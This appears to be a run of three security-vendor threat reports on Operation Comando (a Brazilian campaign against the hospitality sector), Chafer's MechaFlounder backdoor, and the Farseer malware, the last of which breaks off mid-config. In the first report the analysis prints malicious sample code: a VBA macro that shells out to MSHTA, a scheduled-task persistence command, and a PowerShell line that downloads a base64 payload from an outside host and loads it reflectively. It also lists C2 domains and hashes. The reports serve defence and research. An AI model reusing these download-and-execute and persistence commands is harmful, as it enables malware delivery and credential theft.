Figure 2 Multiple delivery mechanisms.

As an example of an email delivery used during December 2018 campaigns, let’s look at what pretended to be a rooming list (SHA256: ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187), which follows one path from Figure 2, more precisely the steps described in Figure 3.

Figure 3 December 2018 campaign delivery example

The malicious documents contain a simple Macro, which executes a remotely-hosted script using MSHTA:

Public Sub Auto_Open()

var0 = "MSHTA https://bit[.]ly/2QXNTHi"

Var = var0

Shell (Var)

End Sub

The landing URL resolves to:

hxxps://internetexplorer200[.]blogspot[.]com/

The statistics for the URL-shortened link on bit.ly confirm the observations from our telemetry, showing targets mainly in Brazil, as depicted in Figure 4 Distribution of Bit.ly campaign on 27-28th December.

Figure 4 Distribution of Bit.ly campaign on 27-28th December

MSHTA executes VBScript contents that are encoded/obfuscated using a very simple algorithm (note the presence of Portuguese words throughout the code).

Figure 5 First stage VBScript code run via MSHTA

This results in the following scheduled task created in the system, where a new second-stage script is invoked via MSHTA from another remote location. Note that the second-stage VB code contains a reference to “CDT” in a comment.

"set shhh = CreateObject(\"WScript.Shell\")\r\n Dim var1\r\n var1 = \"cmd.exe /c SchTasks /Create /sc MINUTE /MO 240 /TN AdobeUpdateSD /TR \"\".exe https://minhacasaminhavidacdt.blogspot[.]com/\"\r\nshhh.run var1, vbHide\r\n"

Figure 6 Second-stage VB script

This second-stage VBScript code ends up loading a final payload in memory via PowerShell reflection, fetching the binary content from a file with a GIF extension:

"CreateObject(\"Wscript.Shell\").run \"cmd.exe /c powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -command [Reflection.Assembly]::Load([Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://achoteis.com[.]br/images/64.gif'))).EntryPoint.Invoke($null,$null)\"\r\n"

The final payload delivered in this case is Revenge Remote Access Trojan (RAT), a commodity tool which can be used to facilitate information theft.

Infrastructure analysis

At the infrastructure level, the attacker makes use of dynamic DNS (DDNS) services such as DuckDNS, WinCo, or No-IP, many of which offer free accounts lowering the investment required for attacker infrastructure. Some examples of the domains in use are detailed in Table 2.

Dynamic DNS Domains

systenfailued.ddns[.]com[.]br

office365update[.]duckdns[.]org

cdtoriginal[.]ddns[.]net

Table 2 Examples of domains associated with this campaign using DDNS providers

In addition to using free services, paste sites, and compromised sites, we have also identified at least one domain that appears to be actor-owned. The domain “fejalconstrucoes[.]com[.]br” has been used to host payloads, as well as send emails to potential victims. Figure 7 DNS WHOIS record shows details on the domain, which has been registered using the UOL service in Brazil.

Figure 7 DNS WHOIS record

Emails with malicious attachments belonging to this campaign have been found with the following characteristics:

Domain: fejalconstrucoes[.]com[.]br

Email Senders: mmcorrea@fejalconstrucoes.com.br, marcos@fejalconstrucoes.com.br

Attachment names: Contrato Anual FEJAL Construçoes.ppa

As mentioned before, an interesting detail on domains and paths used by the attacker is the use of the recurring acronym “CDT”, as for example:

hxxp://bit[.]ly/cdtqueda

hxxp://cdtoriginal.ddns[.]net

Identifying the main business driver: “CapturaTela”

During our investigation, one open directory identified allowed us to find several payloads used by the attacker. Table 3 displays the set of payloads and documents found. The acronym “CDT” keeps appearing even in file names used.

Filename

SHA256

CDT.hta

4485a8f339171ca86f7e38b912f0f28072ffe04404d5062af3a60f322566f870

Copia Detalhe da reserva - Booking.ppam

ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

DadosDaReserva.doc

03483d2e701f8f90c9cc46b37f12f1cef995e4cca4b5c4b9e67947f560275677

DillI.js

d5f4d7fb7c8042b047e9f3d93d5f02841f01889ba8a899c0c1ed7064129e3bb4

quasar.jse

03d7de252c30c87d6b156b4fbcdcd008ef6bae319a9c42613aaa01428bd490e3

Table 3 Contents found in an open directory at cdtmaster[.]com[.]br

Despite the filename, "quasar.jse" is not QuasarRAT, but instead a JS script which contains a basic base64 encoded payload dropper (see Figure 8), with a very simple and interesting payload for our investigation.

Figure 8 JS base64 payload dropper

The decoded payload is a PE file, written in .NET, with information-stealing capabilities. One of its main methods gives name to our malware family “CapturaTela”, and as its Portuguese name indicates, it has the capability to save a screenshot into a Bitmap object.

Figure 9 CapturaTela method's screen capture capabilities.

The main functionality of this malicious information-stealing trojan is the following (see Figure 10):

Iterate over the open processes list and check for specific window titles. The title has to contain either “ls . B” or “o . B” for the sample to perform further activity.
If the title is found, a screenshot will be taken and sent by email as a JPEG attachment (see Figure 12).
It will kill existing Chrome processes when done. The windows' titles are probably based on Chrome tag contents.

Figure 10 Main functionality loop of CapturaTela

Figure 11 Email exfiltration capabilities of CapturaTela

In order to validate the functionality, we decided to create a simple web page matching the title content and patched the malicious sample to use a test email account under our control (see Figure 12).

Figure 12 Test HTML page and debugging CapturaTela functionality

As a result, as displayed in Figure 13, we confirmed the format and contents of the exfiltrated information that the attacker was planning to collect from its victims.

Figure 13 Email received with data exfiltrated

So, the only remaining question for our investigation was the kind of content and window titles that this information-stealing trojan was looking for? Which kind of web pages could contain “ls · B” or “o · B” as part of their title?

Initially, finding a website with these properties seemed to be an impossible task, but we started the research based on what we knew around the targets and email delivery session metadata used on these campaigns. From this data, we were able to identify potential target websites containing certain – but common to the industry and nature of the business – terms in their website page titles, in both English and Portuguese, that would match the string pattern-matching described above and invoke the malware’s credit card stealing capabilities. The websites found lead us to the fact that the attacker’s focus is on getting the victim’s full credit card details during a given purchase process.

After analyzing several CapturaTela samples, and extracting the contents of the email configuration portion, several interesting strings were found as displayed in Table 4.

Interesting strings

Comando30

Comando30@cdt

comando50

Table 4 Interesting strings in email configurations

The continuous use of the “CDT” acronym, and the presence of the word “Comando”, which we could associate to the first letter, led to us to choose “Operation Comando” to describe this campaign.

Extensive use of Remote Access Trojans

Aside from the use of the custom trojan CapturaTela, the actor makes extensive use of several other remote access trojans to perform its malicious activities. The following RAT families has been observed during the actor campaign.

RAT Family

LimeRAT

RevengeRAT

NjRAT

AsyncRAT

NanoCoreRAT

RemcosRAT

Table 5 Top RAT families observed in this campaign

The extensive use of these RAT tools potentially increases the business objectives, given the amount of information the actor can obtain on top of credit card purchase results stolen from target websites via infected victims.

There are several examples of RAT families used that can be found in GitHub such as:

https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp

https://github.com/NYAN-x-CAT/Lime-RAT

Overlaps with other published research

Some of the domains and samples found on this investigation have been already researched and reported by Yoroi. Based on the details of our research, we have a strong belief that despite some minor overlaps in the techniques used, this campaign is not related to Gorgon Group.

Conclusions

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

While cybercrime campaigns like this remain active, Palo Alto Networks customers are protected from these threats in the following ways:

WildFire detects all malicious documents and payloads delivered as malware.
AutoFocus customers can track this campaign using the following tag: OperationComando
Traps blocks all of the files associated with this campaign.

Indicators of Compromise

Infrastructure

fejalconstrucoes[.]com[.]br

internetexplorer200[.]blogspot[.]com

office365update[.]duckdns[.]org

olhomagicocdt[.]duckdns[.]org

498408[.]ddns[.]net

Systenfailued[.]ddns[.]com[.]br

internetexploter[.]duckdns[.]org

ssl9294[.]websiteseguro[.]com

fejalconstrucoes[.]com[.]br

c-d-t[.]weebly[.]com

Malicious documents

55732ba1b1e94add5e75e90d5eba137bfbfbd35e537b8d5c9a01365f5a6407d7

7f13f449c80cc003d369c6b6002fd4912788e014ce35e97b29ba168136c6ece6

47c471da52aa808250357c4638078c9e13797bb6a8a8b169d4b33d95ff230e89

0c85b2ebc7c5316b7878239daf6a611fc2d0a05966f541e83e19db96f41fd3aa

62f82e636924980b622204368f586723feb82594ce256e2e65ac5307fd67d669

1c637cf4276b589f1b2806a77310b90c214cd0b026e4ec69448887be331ba5b3

d96eaf8f22ec5cb9edba6369f9980efc8b0f76bf35eaf92aa5cb5e03669ddd9f

1df7ace77a7f146b1bbd5c881134083f886ea83017f4619a9e62a9743909cdd1

03483d2e701f8f90c9cc46b37f12f1cef995e4cca4b5c4b9e67947f560275677

ac70d15106cc368c571c3969c456778b494d62c5319dc366b7e2c116834c6187

796c02729c9cd5d37976ddae205226e6339b64859e9980d56cbfc5f461d00910

d67e160ccc6ac2fb8cd330e9fd53389fb1f99fad680d27045e5291e9d23d9317

7f41ae21f3ad37505e5b3d0551caeb85bc9e07571d7d98acd3489b5db8ba6741

3f3718b7e50eee8b0b3e4a4da8c5a0302623b5800eb7bc0718036f77a6ec72c0

a44e08b7ebd6bf73a9eb1b5a483987a1f0e3fdfe12b05a7a8f4ec1febfcf959e

4211e091dfb33523d675d273bdc109ddecf4ee1c1f5f29e8c82b9d0344dbb6a1

fd8781f125ac1ee68afb8dba61e17373ebe57bfd18850a01d41caaddde4cffcb

269eb444415489a7898af36f1ba105129655226c98753d87afec651219e158c7

ee9d3c90df5c01dc6e2079d1219be752542a452988c4a25f34b8ee22be799332

41b57429b00383f2b5d60fb22283b5c14a94ab8619c527e7d749e64b56d31518

ce44559beb4a5d52d962ab9e375970ef1d8e9f22a0be8c971b0244ebca61b2f2

ccd23e44662953d0837ca12728854bfd61f5ea14293a1620c3b48ba8f435a432

57f31ef70a8b8b39659659abd0f1c8974fe23d2cbd2194d097375b2667a5424b

f534f9b1cc64f03c32d59acdf9d58653bb0076798805af12e6cd914cbbfcf5fa

846a89bbcf6c907fd915699a232c1f9acae0756fdc12c590198bfe65b4c90f44

4f2ce6883b7057bde6baed2607e4645e4745db9ebfb20872e425944ba8ec3425

722a2d8d4c1fb1e5195df50b159cdce0b05333acbb3ec90d24310331d21d2514

e54bfccc796a4f779d332e535f78a5b118dbcd8a8971e39ac059ee9f069a1203

4f4ea063d5bd22f1c57cdcf89d40339ddd5d5741c1b1dabfe52a474d70be9d04

CapturaTela

c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

RATs

2b343e0b0aa8de557fa11c9918f1b93ab6e88d9bd11565c587852d4d17bcf5a8

57d83d5928bb8926718e732a85dd69dffe6ff61ff7edd9b843a50959f2fd1256

33195ec463ba9d627a0c177eca366bbefa34306170449a5c0ef7661319ba2b05

7eaea64fdfdc4f35ffe3036ee03f54c4aace204533a9d157faafa4a23221980c

e76772ae83e2c79ed4aa80b5b7f4b42c46cea45ed1d15bd004b0dc71bfc41945

977d940de630fff225e4917927d47100b75b56444c4117a22aa34b1450dc2930

8a700793012385a706ef277f043bb5bf8a5ef877e3ba1fac3b5601df7fb36a30

c740fe0dbf5aebf5f34e392a9bff0d4a19bf20ff553bb734574c2593ddcbbfa1

10a7ba12bebaa572eb6eb4bef6d1a5043c5403bf796626a478205b344c4dc8c2

4aff04954efd6cb02b1ba18831a72d44b2346db94e944a9f96c652f5944834d0

d735d39de62009d09d7125f71cd774b23b6ab4a51d1dbb3d49003a5657b3477f

9ad38281585897b1d49632ad049c700814f72e20edc46bbc43ba510413ac6f92

877453c0e614e732eb9ee378693cf92263d2373e09c8287e3a4a821ecee29764

b82c7535e41cddade675587ddaac9cb63fdf1973968f10f3a2bc1ea5409a29c2

ec824085dac0d7e0d2e3953d241756a78635a32ad442b7909f0895fd62b08010

5c073adb376b57c99faa9cf10114beda732b13d04b7ed45a32c23eb043ec608f

8d1db84b71eb1f38f95c13c89a6adfbc64d7ca5c5a5165ae7919e0d1e6fadc45

b278ccf189d51b085390a985526ff37455ebe249ca9da69f64e2376979c56e6b

e99df30a89dee25f56c2f35b20de2206406934f2e6ab043e299482649dce2cb8

8e738b2239bbca9f50eab5f3cf3cbe58138e3b2515221c67e7eb934e2d3c7486

b904e2823144ca9ab3161c3e508a88dc35922340e4ff2858e06b40e638bfd359

99b70d49377117000eaf367c037ed68c4898b0d8769f7bff88a438a9d82db214

982e2abc769f579a8753e8b2f65e0b0bbfbbdbae14b88f0ed697b635a9f4e38f

03cb44736cdd60318af8399047507b011b95fadd4784b1607b28ad4940a9a36e

e9f42c7fbedf0054391c3a85b79a34b5be134b40a83961cc90d0e473380fde1c

6c45909d6311f8d356ddc704b27bd975cb3336a7b6e172206165bff613f94a2a

9025c9b8cfc57e7dda5e742f18d69b4c4477f9254d10c5df15b7a6ffcf7d5985

ae3cddb0f665d739ebf5342a968585a5d13d54068ef59a51e82e739d184c6b3b

d5baf4a27994ef2110bcc3a0b3ff2cd3815bac36d271462d1a39f77063bae9a5

b0593829ea59d267f511f2685aa8ecf31860e123e0928ca8bf3fc1e30b3c4953

1c30a54a8ad30faff0a7b309d377127ed739ea80c510d7526bbb5cbe6ef5cfc9

498fd1c4cb16f39974555d6e596fcea6c7da73f9f0f30f57fdc8177fc3feaa4e

1c604e040c04be9fad3129d7bd9c69b7f8057050b2002605dde1f5e60817f89a

5dfd79503b19b67052ec060d74e1f2a9a5ee34de74d578c5b4499468bad8f1cb

bc4c98116fadbcef2abfd0fe62a15b154a3b8a8eb329a877d64edc59260519c4

9c794069b4d6346f8152b938e4f846af63d1f1015c935579d99af1c434789406

7923c59d1405deacaceb26722db97714cf955610e02bf6d28051505331603606

a03bc280123541518845cc167b4e812bbe9682696af4eeac041385cc0a00f5c6

c7f3673ca116f76b16a7e00d81553abb0df02e75d4ac8fb6d3af52d351d9b46a

824d080a4da2275951a28285b66faac1698205dff181fe5fa1cf172ac1a17d8f

0b04028774f0e166dcbe0f993b72c430dc15364e9cc52c221bdadcc9833816f2

22e9260c6a4af1d42c353c7004cb2f5f245cea5e22572b111fcef4318c17e567

904a4799edf642e6e685a137c88691f08b51643e539bea8de9e4cdf8c6251c7f

7a9e3038d498d5ecaed19f6a80d9b0b7d73d47e669be8d61ca32d87566d7a035

16ea765b2c51eadc61c6501b4ba96073a7d50f8cd7898285ffad49ba14a121dd

18199bb3ad69901ef0040aa7445d6f0c8571a19cdade3115ffc9c142c0b5b721

b940dc214f6a0be58e93f07aafcbc5a7518544f745413360269949664909fecd

2d26bc42a499c4658523193ade85df13ab397d375fa593a757c54a6f1c71f221

94a38857ebeed7d10480fb91a391a891d5a11137fabb8fc67b71c989b5e328e6

116da8803ac9b2dd7e1149567f227d552e84db86dd7a33ad69e15b560f0fa177

2945e6424f51e6077620a867e0f9c725b9b816164366912289ab6c24fdfcb9e6

88d1a891cfdf09b7e1882582a82c3218d5606ed530764d34ee1410198ca9ee8b

96424d66b7423dc54b35e4968a809a8b67d1dd8e7d8d3b0d84434edb94c822c5

3158906cf7cb3186654bbb62d087b9a150c12c51d2ad67dd9003abeb0f69626a

4e62dcea72cf73481dd8dae2bbeb8e1352a5f2510f3deb98ec0b653a4d21f8d8

5370711dd45b84b9644b635d03baad08d75ff740364e93ed023adc9c4a297c43

02254a03f08055399806b6457ee5e4fe6cfc47c6f75254434a14332d4c43afe5

bf07b4ba117eb7d0ac59cbdd775e6a509c06a462b709b4f2d10979c9e5b3cf85

New Python-Based Payload MechaFlounder Used by Chafer

Posted on March 4, 2019August 17, 2026 by Brittany Barbehenn

In November 2018 the Chafer threat group targeted a Turkish government entity reusing infrastructure that they used in campaigns reported earlier in 2018 by Clearsky, specifically, the domain win10-update[.]com. While we lack visibility into the initial delivery mechanism of this attack, we did observe a secondary payload hosted on 185.177.59[.]70, the IP address to which this domain resolved at the time of the activity.

Unit 42 has observed Chafer activity since 2016, however, Chafer has been active since at least 2015. This new secondary payload is Python-based and compiled into executable form using the PyInstaller utility. This is the first instance where Unit 42 has identified a Python-based payload used by these operators. We’ve also identified code overlap with OilRig’s Clayside VBScript but at this time track Chafer and OilRig as separate threat groups. We have named this payload MechaFlounder for tracking purposes and discuss details below.

Turkish Government Targeting

Our visibility into this Chafer activity involves the identification of a malicious executable downloaded from the IP address 185.177.59[.]70. How the attackers are targeting victims and causing them to download this file are currently not known.

The file named ‘lsass.exe’ was downloaded from win10-update[.]com via an HTTP request. The win10-update[.]com domain has been noted in open source as an indicator associated with Chafer threat operations. The lsass.exe file downloaded from this domain is a previously unreported python-based payload that we are currently tracking as MechaFlounder. We believe Chafer uses MechaFlounder as a secondary payload that the group downloads from a first-stage payload to carry out its post-exploitation activities on the compromised host. Based on our telemetry, the first-stage payload was not observed in this activity.

In February 2018, IP address 134.119.217[.]87 resolved to win10-update[.]com and several other domains likely associated with Chafer activity. Of interest, the domain turkiyeburslari[.]tk, which mirrors the legitimate Turkish Scholarship government domain turkiyeburslari[.]gov[.]tr, also resolved to this IP and may likely have been used in other Chafer collection operations. The domains associated with this IP address are included within the Appendix and displayed in Figure 1 below.

Figure 1. Infrastructure associated with 134.119.217[.]87

The MechaFlounder Payload

The python-based payload, ‘lsass.exe’ was retrieved from a command and control (C2) server via an HTTP request to the following URL:

win10-update[.]com/update.php?req=<redacted>&m=d

This payload, (SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff), which we are tracking as MechaFlounder, was developed in Python and bundled as a portable executable using the PyInstaller tool. This secondary payload acts as a backdoor allowing the operator to upload and download files, as well as run additional commands and applications on the compromised system.

MechaFlounder begins by entering a loop that will continuously attempt to communicate with its C2 server. The Trojan will use HTTP to send an outbound beacon to its C2 server that contains the user's account name and hostname in the URL. The code, seen in Figure 2, builds the URL by concatenating the username and hostname with two dashes "--" between the two strings. The code then creates the URL string by using the username and hostname string twice with the back-slash "\" character between the two and by appending the string "-sample.html".

Figure 2. Trojan code used to build anomalous HTTP request

During this analysis, the code in Figure 2 generated anomalous HTTP requests for its beacons, as shown in Figure 3 below. One might notice that the GET request in Figure 3 does not start with a forward-slash "/" character and includes a back-slash character "\" in the URL. This causes a legitimate web server, such as nginx used in our test environment, to respond with a '400 Bad Request' error message. This may suggest that even though the code in Figure 2 uses the HTTPConnection class from the httplib module to generate the anomalous HTTP beacon, it is likely that the threat actors created a custom server to handle this C2 channel instead of relying on a standard web server.

Additionally, Figure 2 shows that the malware author used the variable name 'cmd' to build the string used for the HTTP method and path and checks the HTTP method portion of the string for the word 'exit'. We are unsure of the purpose of this check, as the HTTP method in this string would never be 'exit' and therefore would never be true. We believe this is an artifact likely derived from a previous version of the script that the author forgot to remove.

Figure 3. Example HTTP request issued by Trojan in test environment

If the C2 server were to accept the beacon in Figure 3, it would respond with HTML that contains a command intended for the Trojan to parse and execute. The Trojan begins by converting the HTML in the response to text using the code seen in Figure 4 below. The HTML to text code in Figure 4 is available in several locations on the Internet, but it appears to have possibly originated from a discussion at Stack Overflow titled Extracting text from HTML file using Python, which may be where the malware author obtained this code.

Figure 4. HTML to text code in Trojan possibly obtained from Stack Overflow discussion

After converting the HTML to text, the Trojan discards the first 10 characters of the response and treats the remainder of the string as a command. The C2 can also provide the string "yes " in this command string, which instructs the Trojan to decode the command as a base16 encoded string with the "yes " substring removed. The Trojan subjects the command supplied by the C2 to a handler that determines the activities the Trojan will perform. Table 1 shows a list of commands available within the Trojan's command handler and the corresponding activities. The commands in the command handler provides the necessary functionality for Chafer to interact with the remote system.

Command	Description
Terminate	Terminates the connection
download	Downloads provided <filename> that it will obtain from http://<c2 server>/<filename> and saves it to C:\Users\Public\<filename>.
runtime	Sets the sleep interval between beacons.
upload	Uploads provided <filename> to http://<c2 server> via HTTP POST.
cd	Changes the current working directory
empty	Does nothing, likely an Idle command.
<anything else>	Attempts to run the supplied data as a command on the command line.

Table 1. Commands available in Trojan’s command handler

We gained more insight into the custom C2 server application by analyzing the activities that MechaFlounder carries out if it receives the ‘upload’ command. To upload a specified file from the compromised system to the C2 server, the Trojan uses the Browser class in the mechanize module (partial basis of the MechaFlounder name) to submit the file to an HTML form on the C2 server. This suggests that in addition to being able to handle the anomalous HTTP GET requests previously mentioned, the custom C2 server application must also be able to:

Serve HTML that contains a form to receive uploaded files,
Handle legitimate HTTP POST requests generated by the mechanize module, and
Save files uploaded with the HTTP POST request.

After carrying out the activities for the command, the Trojan will encode the results or output message of the command using the 'base64.b16encode' method. Each command has an output message for both a successful and failed execution of the command with the exception of ‘empty’ and ‘terminate’. Table 2 below shows the success and failure messages associated with each command.

Command	Message type	Output message structure
download	Success	<username>--<hostname>\|\|download <filename>**download success\n
download	Fail	<exception message>\|\|<username>--<hostname>**download failed, download <filename> \n
upload	Success	<username>--<hostname>\|\|upload <filename>**upload success \n
	Fail (no file)	<username>--<hostname >\|\|<command issued>**no such file\n
	Fail (exception)	<exception message>\|\|<username>--<hostname>**upload failed,upload <filename> \n
runtime	Success	<interval>\|\|<username>--<hostname>**runtime changed to <command issued>
runtime	Fail	<username>--<hostname>\|\|<command issued>**runtime change failed because of large mount
cd	Success	<username>--<hostname>\|\|<command issued>**directory changed success to <directory>
cd	Fail	<username>--<hostname>\|\|<command issued>**Couldn"t change directory
<anything else> (command execution)	Success	<username>--<hostname>\|\|<command issued>**<command stdout>
<anything else> (command execution)	Fail	<username>--<hostname>\|\|<command issued>**<command stderr>

Table 2. Success and failure messages associated with commands

Unlike the initial beacon that uses the anomalous HTTP GET request, the Trojan will send the encoded results to the C2 server using the same socket as the initial HTTP beacon. The use of the same socket and the anomalous portions of the HTTP beacon further suggests that the threat actor likely created a custom C2 server to handle this network traffic.

To show these network communications, we patched the Trojan to issue beacons that use legitimate HTTP GET requests that the HTTP server (nginx) in our test environment could support. The patches involved changing the paths within the HTTP request, specifically setting the path to start with a forward-slash “/” and have the forward-slash “/” instead of a back-splash “\” within the URL path itself. In our test environment, we added the string “0123456789runtime 5” to the file ‘rob--rob-virtual-machine-service.html’ in the ‘rob--rob-virtual-machine’ folder.

When the Trojan issues the beacon, the HTTP server responds with contents of the ‘rob--rob-virtual-machine-service.html’ file, which effectively issues a command to the Trojan. The Trojan responds to the command ‘runtime 5’ with the message "5||rob--rob-virtual-machine**runtime changed to runtime 5" that it encodes in base16. It then sends this to the C2 server without any HTTP headers using the same socket as the initial HTTP request.

Figure 5 shows the TCP session showing the initial beacon sent from the patched Trojan, the HTTP server responding with a command, and the Trojan responding to the command all in the same TCP session.

Figure 5. Single TCP Session used by the Trojan to receive commands and send command results to the C2

And one more thing...

If you think you’ve seen the “&m=d” parameter before, you’d be correct. The “&m=d” parameter seen in the initial download URL of the MechaFlounder payload appears in many URLs related to both Chafer and OilRig threat groups. This parameter has been seen in VBScript downloader payloads installed by delivery documents associated with both Oilrig and Chafer. We have also seen this parameter used in URLs generated by Chafer’s AutoIT payload. The VBScript and AutoIT payloads also share common variable names and the same overall functionality, which suggests there may be some code sharing occurring between the two threat groups. Figure 6 below shows a VBScript run by an OilRig delivery document (SHA256: 1b2fee00d28782076178a63e669d2306c37ba0c417708d4dc1f751765c3f94e1) on the left compared to a Chafer AutoIT script (SHA256: 332fab21cb0f2f50774fccf94fc7ae905a21b37fe66010dcef6b71c140bb7fa1) on the right, which have colored boxes surrounding code overlaps.

Unfortunately, we are unable to ascertain the specifics between the code sharing between OilRig and Chafer. At this time, we are not combining the two threat groups together based on these code overlaps.

Figure 6. Oilrig Clayside VBS | Chafer AutoIT

Conclusion

The Chafer threat group has been active since at least 2015 focused on both private and public sector entities within the Middle East. Unit 42 has specifically observed the targeting of Turkish government entities since at least 2016; however, this is the first instance where Unit 42 has observed Chafer using a Python-based payload. This payload, now known as MechaFlounder was created by Chafer using a combination of actor developed code and code snippets freely available online in development communities. The MechaFlounder Trojan contains enough functionality for the Chafer actors to carry out the necessary activities needed to accomplish their goals, specifically by supporting file upload and download, as well as command execution functionality.

The overlap in Oilrig’s Clayside VBScript and Chafer’s AutoIT payloads does not come as a complete surprise. Oilrig and Chafer have for quite some time appeared very similar operationally and potentially having access to the same code or resources for payload development makes sense. Unit 42 has taken reference to the various overlaps in the two sets of activities and continues to track these operations separately.

Palo Alto Networks customers are protected against this threat in the following ways:

WildFire detects MechaFlounder with a malicious verdict
Domains identified as command and control servers are flagged as malicious
AutoFocus tags: https://autofocus.paloaltonetworks.com/#/tag/Unit42.Mechaflounder

Appendix

MechaFlounder Sample

lsass.exe

0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff

Infrastructure referenced in this report

win10-update[.]com
185.177.59[.]70
134.119.217[.]87
win7-update[.]com
turkiyeburslari[.]tk
xn--mgbfv9eh74d[.]com (تلگرام[.]com)
ytb[.]services
eseses[.]tk

Farseer: Previously Unknown Malware Family bolsters the Chinese armoury

Posted on February 26, 2019June 7, 2024 by Alex Hinchliffe

Last year, Unit 42 wrote about a newly discovered espionage Android malware family, HenBox, which had countless features for spying on their victims – primarily the Uyghur population – including interaction with Xiaomi IoT devices, and the Chinese consumer electronics manufacturer’s smart phones.

Through investigations into infrastructure used by HenBox malware, Unit 42 has discovered another malware family built for the more frequently-targeted Microsoft Windows operating system we named ‘Farseer’. As with HenBox, Farseer also has infrastructure ties to other malware, such as Poison Ivy and Zupdax.

We named this malware Farseer malware due to a string found in the PDB path embedded within the executable files. For example:

e:\WorkSpace\A1\coding\Farseer\RemoteShellsRemote\Release\RemoteShellsRemote.pdb.

Tracking-back, we’ve seen over 30 unique samples throughout the past two and half years, with the majority in 2017 and a handful in 2018, the most recent of which were seen, at least from our visibility, during the last two months indicating a relatively low-volume yet steady flow of Farseer samples. Figure 1 below shows the trend of malicious sessions for these samples according to AutoFocus.

Figure 1 AutoFocus session trends for Farseer samples over time

Ties to HenBox Android Malware et al

As previously mentioned, there are ties between Farseer, HenBox, PlugX, Zupdax, 9002, and Poison Ivy malware families. The infrastructure used by the combination of malware families is pretty vast, with plenty of overlaps, however in this blog we focus only on some of the core ties captured in the green rectangle, as shown in Figure 2 below.

Figure 2 Maltego chart showing overlaps between Farseer and related threats

Figure 2 shows a high-level representation of file hashes, IP addresses, and domain names used by some of the various malware families already mentioned, together with their overlaps. Farseer has the largest number of samples in Figure 2 but that’s skewed given the focus of this blog.

The green rectangle shows some of the core overlaps between the aforementioned families, which we will discuss in more detail now.

The most recent (at the point of publishing) Farseer sample (SHA256: 271E29FE… detailed in Table 2 below) introduced a new C2 domain – tcpdo[.]net – into the Farseer set, as shown in Figure 3 below.

Figure 3 Maltego diagram showing tcpdo[.]net and other Farseer / PoisonIvy overlaps.

Figure 3 shows how this new (to Farseer) domain relates both directly to said Farseer sample and indirectly, through third-level domains and IP addresses, to other Farseer samples; a handful of Poison Ivy samples have also used this domain as their C2, mostly before this Farseer sample – as early as mid-2015 – but also more recently, one month after, on December 17th, 2018 indicating it’s a domain in fairly active use. Third-level domains of tcpdo[.]net, together with all other indicators are listed at the end of this blog.

The overlaps between Farseer and Poison Ivy don’t end with tcpdo[.]net. Much like with HenBox, other infrastructure ties exist: directly through sony36[.]com and md.son36[.]com; indirectly through third-level domains of tcpdo[.]net and IP addresses 45.32.251[.]7 and 45.32.53[.]250.

Farseer also overlaps with HenBox and PlugX samples through multiple C2 domains and IP address resolutions:

outhmail[.]com (and third-levels of this domain)
cdncool[.]com (and third-levels of this domain)
www3.mefound[.]com
w3.changeip[.]org
www5.zyns[.]com
45.32.53[.]250
45.32.44[.]52
45.32.45[.]77
59.188.196[.]162
59.188.196[.]172

Domain outhmail[.]com was documented as part of research into a 9002 Trojan delivered through Google Drive back in 2016 further expanding the capabilities of this group and its tools.

Ghost Dragon Overlaps

Before we detail the Farseer malware itself, it’s worth noting another overlap we encountered during this research. Third-level domain 3w.tcpdo[.]net, as shown towards the bottom of Figure 4 below, resolved to IP 175.45.192[.]234 in 2015. This IP address relates to domains and custom Gh0st RAT malware samples, some of which are documented in this Ghost Dragon campaign report. Considering the time that’s passed since this publication, it’s harder to investigate how strong the ties are, however, the two domains used by Poison Ivy (md5c[.]net) and Farseer (3w.tcpdo[.]net) have resolved to that IP address more recently than documented in the Ghost Dragon report. Specifically, June 2015, and between July and August 2015, respectively for Poison Ivy and Farseer; these two domains and five others - adminloader[.]com, csip6[.]biz, cdncool[.]com, linkdatax[.]com and adminsysteminfo[.]com - have a common registrant, 46313@QQ[.]COM but no such commonality exists within the set of known Ghost Dragon domains.

It’s possible the infrastructure relates to the same group, or multiple groups, conducting various attacks against different operating systems using the various malware families described in this, and related, reports. The possible ties require further investigation.

Figure 4 Maltego chart showing overlaps to Ghost Dragon campaign

C2 Server Structure

As previously mentioned in the first HenBox blog, a common registrant registered seven known domains, four of which had malicious activity related to Poison Ivy and Zupdax malware families. Interestingly, all of the domains share at least one third-level domain in common, perhaps indicating a template being used for the infrastructure setup or based on the requirements of the malware’s C2 communication. Table 1 below lists the commonalities, aside from other domains such as www, mail and dns.

Domain / Third-level Domain	info.	re.	update.	up.
tcpdo[.]net
adminsysteminfo[.]com
md5c[.]net
linkdatax[.]com
csip6[.]biz
adminloader[.]com
cdncool[.]com
newfacebk[.]com

Table 1 Common third-level domain names

Farseer Malware

Now that we have introduced Farseer, and how it relates to other known malware families, let’s dive into how the malware works. This section aims to provide a description of the general behavior for this malware based on a small subset of total set of samples; a more detailed description exists in the technical appendix.

Figure 5, below, describes at a high-level the post-installation execution flow of a typical Farseer sample.

Figure 5 Farseer Execution Flow

Figure 6 bscmake.exe importing mspdb80.dll importing Farseer's sys.dll

The payload on disk is an encrypted and compressed file that most antivirus software will not flag as malicious since the underlying code is hidden. More information about how the decompression and decryption can be found in the appendix.

Once sys.dll is running, it locates a file named stub.bin located in the same folder, and in-turn loads the Farseer config file, sys.dat, on disk. The config relates to C2 communications, amongst other things.

The following two code excerpts show the obfuscated and deobfuscated versions of this variant’s configuration file. The obfuscation routine used in this case – and many others – is simply ASCII encoding where characters are replaced with their ASCII value; other variants have used stronger, custom encryption algorithms to hide configuration data. Details are in the appendix.

[StudentInfo] 

p1=117,112,46,111,117,116,104,109,97,105,108,46,99,111,109,
p2=56,48,

p4=116,101,115,116,45,48,52,45,49,49,

